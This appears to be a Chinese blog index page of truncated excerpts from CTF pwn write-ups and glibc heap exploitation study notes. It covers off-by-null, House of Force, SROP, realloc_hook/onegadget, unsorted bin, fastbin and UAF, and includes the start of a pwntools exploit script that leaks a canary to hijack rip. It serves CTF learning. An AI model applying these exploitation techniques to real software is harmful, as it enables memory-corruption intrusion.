2020 湖湘杯 PWN WriteUp
比赛的时候出去玩了,这就来复盘
babyheap基本情况增删查改,数量限制比较宽松挺大的,大小固定 0xf8 。
漏洞safe_read 写入大小为 0xf8 会溢出修改下一个 chunk size 最低两位为 \x00 。
123456789char *__fastcall safe_read(char *ptr, int size){ char *result; // rax read(0, ptr, 0xF0uLL); result = &ptr[size]; // 当size0xf8时就会溢出修改nextchunk size 低2位 *result = 0; return result;}
思路
unsortedbin 泄露 libc 地址
通过将堆放入 unsortedbin 修改某一个堆的 prev_size ,然后溢出修改 size 位,制造堆重叠,申请两个指向同一地址的指针
tcache double free
EXP12345678910111213141516171819 ...
2020 西普杯 信息安全铁人三项 第四赛区 Writeup
namepie基本情况程序有后门:
漏洞第二次输入栈溢出
思路pie 保护 partly write 绕过。
第一次输入泄露 canary ,第二次覆盖 rip
EXP1234567891011121314151617181920from pwn import *context(log_level='debug')# p = process("./namepie")p = remote("172.20.14.168",9999)elf = ELF("./namepie")p.recvuntil(":\n")name = 'skye'.ljust(0x30-0x8+1,'a')p.send(name)p.recvuntil('skye'.ljust(0x30-0x8,'a'))canary = u64(p.recv(8))-0x61log.info("canary:"+hex(cana ...
House_Of_Force
House Of Forcetopchunk 分配机制
作为前置知识,回顾一下
当进行堆分配时,如果当前所有空闲(bin中)的堆块都无法满足条件,且 topchunk 大小可以满足需要空间的话,那么就会从 topchunk 中分割对应的大小用作堆块空间。
topchunk 大小是否满足的计算源码:
123456789101112131415161718// 获取当前的top chunk,并计算其对应的大小victim = av->top;size = chunksize(victim);// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset(victim, nb); av->top = remainder; set_head(victim, ...
SROP
SROP简介SROP 的全称是 Sigreturn Oriented Programming 。这里sigreturn是一个系统调用,它在 unix 系统发生 signal 的时候会被间接地调用。
signal 机制简单来说就类 unix 系统中的一种中断信号机制,类似于单片机的各类中断服务信号,该机制常见步骤如下:
当内核向某个进程发起( deliver )一个 signal ,该进程会被暂时挂起( suspend ),进入内核(1),然后内核为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。跳转到之前注册好的 signal handler 中处理相应signal(2),当 signal handler 返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)。
Signal Frame 结构在第二步中被压入栈中,存储进程上下文的数据被称为 Signal Frame ,存放在用户进程的地址空间(栈)。下图中的绿、黄、橙色组成 Signal Frame 。
中断后执行的 signal ...
realloc_hook 调整栈帧使 onegadget 生效
[scode type=”lblue”]文章首发于合天众智,转载到博客仅作备份[/scode]
在某些堆的题目当中,由于限制只能使用 house of spirit 等方法劫持 malloc_hook ,这种情况一般是往 malloc_hook 写入 onegadget ,再次申请堆来 getshell 。
由于栈帧情况不满足,查询到的所有 onegadget 可能都打不通,这时就可以考虑下用 malloc_hook 和 realloc_hook 结合。先通过 realloc 调整栈帧,然后在运行 onegadget 。
了解 reallocrealloc 在库函数中的作用是重新调整 malloc 或 calloc 所分配的堆大小。它和 malloc 函数一样有 hook 函数,当 hook 函数不为空时,就会跳转运行 hook 函数(和 malloc_hook 一样的)。
123456__int64 __fastcall realloc(signed __int64 a1, unsigned __int64 a2, __int64 a3){ …… if ( _reallo ...
Unsorted Bin Attack
Unsorted Bin Attack概述Unsorted Bin Attack,顾名思义,该攻击与 Glibc 堆管理中的的 Unsorted Bin 的机制紧密相关。
Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针。
Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值。
Unsorted Bin 回顾在介绍 Unsorted Bin 攻击前,可以先回顾一下 Unsorted Bin 的基本来源以及基本使用情况。
基本来源
当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。
当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是 ...
realloc学习
通过 realloc_hook 调整栈帧使 onegadget 生效在某些堆的题目当中,由于限制只能使用 house of spirit 等方法劫持 malloc_hook ,这种情况一般是往 malloc_hook 写入 onegadget ,再次申请堆来 getshell 。
由于栈帧情况不满足,查询到的所有 onegadget 可能都打不通,这时就可以考虑下用 malloc_hook 和 realloc_hook 结合。先通过 realloc 调整栈帧,然后在运行 onegadget 。
了解 reallocrealloc 在库函数中的作用是重新调整 malloc 或 calloc 所分配的堆大小。它和 malloc 函数一样有 hook 函数,当 hook 函数不为空时,就会跳转运行 hook 函数(和 malloc_hook 一样的)。
123456__int64 __fastcall realloc(signed __int64 a1, unsigned __int64 a2, __int64 a3){ …… if ( _realloc_hook ) return ...
Fastbin Attack
Fastbin Attack介绍fastbin attack 是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法。这类利用的前提是:
存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞
漏洞发生于 fastbin 类型的 chunk 中
如果细分的话,可以做如下的分类:
Fastbin Double Free
House of Spirit
Alloc to Stack
Arbitrary Alloc
其中,前两种主要漏洞侧重于利用 free 函数释放真的 chunk 或伪造的 chunk,然后再次申请 chunk 进行攻击,后两种侧重于故意修改 fd 指针,直接利用 malloc 申请指定位置 chunk 进行攻击。
原理fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。 我们来看一下 fastbin 是怎样管理空闲 chunk 的。
123456789101112i ...
Z3库学习笔记
介绍Z3 在工业应用中实际上常见于软件验证、程序分析等。然而由于功能实在强大,也被用于很多其他领域。CTF 领域来说,能够用约束求解器搞定的问题常见于密码题、二进制逆向、符号执行、Fuzzing 模糊测试等。此外,著名的二进制分析框架 angr 也内置了一个修改版的 Z3。
官方使用文档:https://rise4fun.com/z3/tutorialcontent/guide
z3py 功能手册:https://z3prover.github.io/api/html/namespacez3py.html
z3py 使用文档:https://ericpony.github.io/z3py-tutorial/guide-examples.htm
z3 所使用的语法标准:http://smtlib.cs.uiowa.edu/papers/smt-lib-reference-v2.6-r2017-07-18.pdf
安装这里安装的是 python 库版本,编译好的二进制版本在 Github 下载。
1pip install z3-solver
简单使用123456from z3 i ...
UAF学习笔记
绝大部分内容来自 CTF-WIKI ,内容引用用于学习记录
原理简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况
内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。
dangling pointer : 悬空指针
wild pointer :野指针,没有被初始化过的指针
这里给出一个简单的例子
12345678910111213141516171819202122232425#include <std ...